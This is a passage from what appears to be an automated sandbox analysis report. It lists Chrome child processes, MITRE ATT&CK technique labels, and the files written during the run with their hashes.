  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2264 --field-trial-handle=1920,i,3841293279952483789,7148657140824872123,131072 /prefetch:8
  2⤵
  PID:1020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3044 --field-trial-handle=1920,i,3841293279952483789,7148657140824872123,131072 /prefetch:1
  2⤵
  PID:3400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3052 --field-trial-handle=1920,i,3841293279952483789,7148657140824872123,131072 /prefetch:1
  2⤵
  PID:1624
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4540 --field-trial-handle=1920,i,3841293279952483789,7148657140824872123,131072 /prefetch:1
  2⤵
  PID:4400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4912 --field-trial-handle=1920,i,3841293279952483789,7148657140824872123,131072 /prefetch:8
  2⤵
  PID:3284
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4968 --field-trial-handle=1920,i,3841293279952483789,7148657140824872123,131072 /prefetch:8
  2⤵
  PID:4904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4828 --field-trial-handle=1920,i,3841293279952483789,7148657140824872123,131072 /prefetch:8
  2⤵
  PID:1056
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=5768 --field-trial-handle=1920,i,3841293279952483789,7148657140824872123,131072 /prefetch:1
  2⤵
  PID:3940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3852 --field-trial-handle=1920,i,3841293279952483789,7148657140824872123,131072 /prefetch:2
  2⤵
  PID:4528
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=3228 --field-trial-handle=1920,i,3841293279952483789,7148657140824872123,131072 /prefetch:1
  2⤵
  PID:2940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=5912 --field-trial-handle=1920,i,3841293279952483789,7148657140824872123,131072 /prefetch:1
  2⤵
  PID:2624

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:3860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

f_000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000001
Size 198KB
SHA256 f9db7dd5930be2a5c8b4f545a361d51ed9c38e56bd3957650a3f8dbdf9c547fb
MD5 cda68ffa26095220a82ae0a7eaea5f57
SHA1 e892d887688790ddd8f0594607b539fc6baa9e40
SHA512 84c8b0a4f78d8f3797dedf13e833280e6b968b7aeb2c5479211f1ff0b0ba8d3c12e8ab71a89ed128387818e05e335e8b9280a49f1dc775bd090a6114644aaf62
SSDEEP 6144:/91MkLIQ79U1IvNpR0Q01wFrUf99d1GDyc:LMkLIQ79cu01um1c
MD5 SHA1 SHA512 SSDEEP

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 168B
SHA256 8da1769a260b675e76ca137abdb900fbdb6d2224224d7c58a0668bbdb3ee407d
MD5 e3fb73234911e2e74792474ae13f5977
SHA1 b41c5301c9759007957c3a672bf52c2e68461738
SHA512 a4bcb5baba75d30a2801c4cc176aea923a1fd6e3fc88ea77042438b9800f41ff499b8a3f242e7a584e753a14211775a92903a0acdcbc7f240c26e4b1f57e0fb1
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 168B
SHA256 c1f4897b71af5bef4f72355426bc686133c4d3e24d29b29dca24d41f7667d137
MD5 d9ec0800fcf8733bda5059b9739c6dc1
SHA1 d8fe59742b83b0dfcc3bc08661b7659dea558841
SHA512 41fe2c87a204a43869b625226d171d271ae198a79489cf3866b290fa21bfd60ac145d075225cc0d11d16e4d235d0238ec83b0251056b9df64e372d3cf5baa59f
MD5 SHA1 SHA512

Submit Download

6f863f01-245c-4314-b73b-da561777f818.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\6f863f01-245c-4314-b73b-da561777f818.tmp
Size 371B
SHA256 0c434facc2c57007733f0b204046b38890874b54f24c9b1320186c2d3837b59e
MD5 a3b80149f2c5ea2105b2ea35d53bf35b
SHA1 fe36e956fc6033d4a46025cbd6b49428924c71c5
SHA512 61875f93407ea7bc02503cb45f2fafd2ce55cf8ccbcddd7b98598fff7a0c7bf157265411a5d8ba525cfd5280f965b3e22589e5563fcc77d6d7c4ca8671bffc1d
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 944B
SHA256 3aa1ee70667ed916b29630b670055d79faf3a7f220319d8971c520a3a9313c08
MD5 929449b634ab315d5e285ee826d2dacd
SHA1 c22a7a96d15be8d664e53f0409c1b2e05599f108
SHA512 3242c880cd3ed53a9afec6619b68543bd55b9285551b9796a0b5818faf79e4b9668489d765d603e08ae883bcd0ca71ef1b4bb281c896b4778b03f4f5e61081b0
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 371B
SHA256 e27df4a35713e2d6906e03e83f21c3275a0f67384b220651a73588e66e5edd02
MD5 60480ab085f870756f5cb65bc125b40c
SHA1 4e912d5b0f84a4c29c3f8a1a896a95c853eb7aae
SHA512 50c09111957b36ada5fce26908690fef60c2baca8cba41361fa1ca24aa2a214f88dbb842c7d71f8a419e1f0a19935496de4a21b181ba23f79ef8c78307993326
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 371B
SHA256 359a09f0c63384fc0e0c62a26efba1a4b7fbb05ca97537cba8e96a422066f561
MD5 1738a901a7e6887007d316972a93dea2
SHA1 02336d02d7a1ddee282a72a02045cadcd374e06f
SHA512 fa52e80984f0c7f7332c3ac5b936e19f71396752e1b58f0b0a4b6c4753e94a52bf9f57bd1ee400ac90b8d2311d3c7981e0a503f696c1d18610d0c6d889f039c0
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 6KB
SHA256 6f2ee2ff791e0bb8240c576790c06609539fad6099b7311b8716f29ffebd2e3a
MD5 d48850cf082a5ee25f09dfec72eddf8e
SHA1 9c09bebfa46858f44876501bd8b1178f958d0e6a
SHA512 c7b874fe1a379e1fca0cef0316bd7565b96549b56e4fe445e9684157f6076b7f6b15ff5307d90bbbd6772a44fdc22922ab7f8a2ff146f698c5809c23280d72b8
SSDEEP 96:TkL/XT0KIHrl8iZRy7Di+6MsmdesOmNxkjVhYtjEsXt0/cg2Vup:Tk/D078syy+FQotjEsXtScPS
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 6KB
SHA256 3a2c6120cff8ba94824b139aff8e2cd1b088e246cb60816b41914b672f2e5684
MD5 796a4f77aad0d8d527b1cb468988c771
SHA1 ae795bd64f61366b2c617b81401fcf744a4e7413
SHA512 bc9ac8939b4a8d46161cecfa82197139b87dcd5729dee933c3f299d9f722a3260dca5b55d94e58d0d8f3bb6937404c5b4efdf7e0d8658b82af80bfb124e8f781
SSDEEP 96:DkL/XT0KIHrl8iZRy7Di+6MsmdeXIOmNxkjVhYtjEsXt0/cg2Vup:Dk/D078syy+FufotjEsXtScPS
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 6KB
SHA256 44f7b7147eb18e22a57f2e4f818ece7409e554a2b2e5ddbb9405ea5c74e0cdf4
MD5 17c98a45c149d78c289667207ed002aa
SHA1 16b8c9318afcab44acfbc60f531ed3a6c3a8542f
SHA512 d2acad02d96c1a363fa400d9be80a438b53b4211546a6e9e305ca004d8d203127bc0bfc1f10f9450dd3044171a965129d0c32b4b966583283d32b89a1ab24d59
SSDEEP 96:TkL/XT0KIHrl8iZRy7Di+6MsmdelKkhS1p8OmNxkjVhYtjEsXt0/cg2Vup:Tk/D078syy+FfkwfotjEsXtScPS
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 6KB
SHA256 9cbcc393060a71b921cb36b2b890a7a28eb93a54f7bf2987005243d6d0bf0333
MD5 178a91a22c6843173efeb906075be0da
SHA1 04de9baa7e54bfb35048087a2ec9c41b4c3a8c24
SHA512 6f73a60d4fbff3406ac1374eb57c5e9c06e884aa0cb6361459230eb5023ee62e7de45a804333bdb3f59d82315467fa38755d4de3c880b8f79f3dc6456323ec7e
SSDEEP 96:DkL/XT0KIHrl8iZRy7Di+6MsmdevOmNxkjVhYtjEsXt0/cg2Vup:Dk/D078syy+FtotjEsXtScPS
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 15KB
SHA256 8aec5755847aec951506515837f218d70ec56cb9964265a492ddf19b6592fbbf
MD5 58608a530f712e404f85571ad253195f
SHA1 cdfb2ae4c89c6a55cc041ed3fa031727ce1bb5f8
SHA512 db48896989fb4b24175d13764a3a3a0a3c8a5ed945f2cd6b4262c17622c651cf62d732b930d1a1955d7751ac0157282e6914205437cd8e8deaf75701487330fc
SSDEEP 384:FBLPLeUXo1kXqKf/pUZNCgVLH2HfkzrU4HGWPAu3FeYdg:PLPLBo1kXqKf/pUZNCgVLH2HfArUsGWi
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 260KB
SHA256 e951c86ca0eafd8e59ae7f3848973b5dc4b172c787b5ee096c766c4c586401fc
MD5 e3a4639e95fe2e1e1ab009232909530f
SHA1 a7123feb58ec4ae2379ba15a6f60c402837d1078
SHA512 053e8e29b172225e98ccd550129b708cc125b759d13f58bfc2819015c8d1c6b8d24b3248ceb8440dabc46e91ca744b4e219fe6481240fb4e0f3f772166c6c343
SSDEEP 6144:Rl+bo3MyZrmB2M+pASNdvXCNpbMHtCMpSB:Dl3ZrmBh+ASNdpHtXw
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 260KB
SHA256 091e0c2735a9d6a4fc088c650e1f8c5a0103dd3a002c7fb58affefd6ae4d5226
MD5 3f6bc2bb55d52479e8b060d57d5ccb59
SHA1 8368dbdc15844a91014874e79d80fe784202be2e
SHA512 fe850b3674844065ecacf3d309b69400fd0a9e5c45eb16a05b9cbb85d29febf90a6d4c7298da6715a46182d85435cc4eacfc1f51d98013f471d4369e480e1a19
SSDEEP 6144:al+bo3MyZrmB2M+pASNdvXCNpbMHtCMpSB:gl3ZrmBh+ASNdpHtXw
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 260KB
SHA256 d816b1fbfd88b0f980d2214d17929534fefe617f13efede5d18e7de4849446d3
MD5 6fb0345a0719aea688fb1e92fbb7514a
SHA1 52c814078281168bfb13d046d5286ccb272b4b22
SHA512 026369ae54cdd8b0e64914fadc86a05332619d62fb5abfe0cbf56bee6f9bb8ec896b43634f85c7ae633db32c038869672b513ff95c76f0d9fda22c7810b94815
SSDEEP 6144:Il+bo3MyZrmB2M+pASNdvXCNpbMHtCMpSB:yl3ZrmBh+ASNdpHtXw
MD5 SHA1 SHA512 SSDEEP

Submit Download

persisted_first_party_sets.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download